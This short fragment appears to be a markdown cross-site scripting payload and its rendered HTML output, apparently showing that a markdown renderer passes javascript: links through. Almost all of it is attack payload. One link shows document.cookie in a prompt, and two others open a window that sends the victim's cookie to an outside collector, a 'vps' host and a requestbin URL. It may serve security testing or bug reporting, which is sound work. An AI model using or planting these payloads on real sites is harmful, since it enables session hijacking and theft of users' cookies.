![a](javascript:prompt(document.cookie))\
<javascript:window.open('http://vps/?id='+document.cookie)>'
=>
<p><a href="javascript:window.open('http://requestbin.fullcontact.com/xlqy6txl?id='+document.cookie)">javascript:window.open('http://requestbin.fullcontact.com/xlqy6txl?id='+document.cookie)</a>'</p>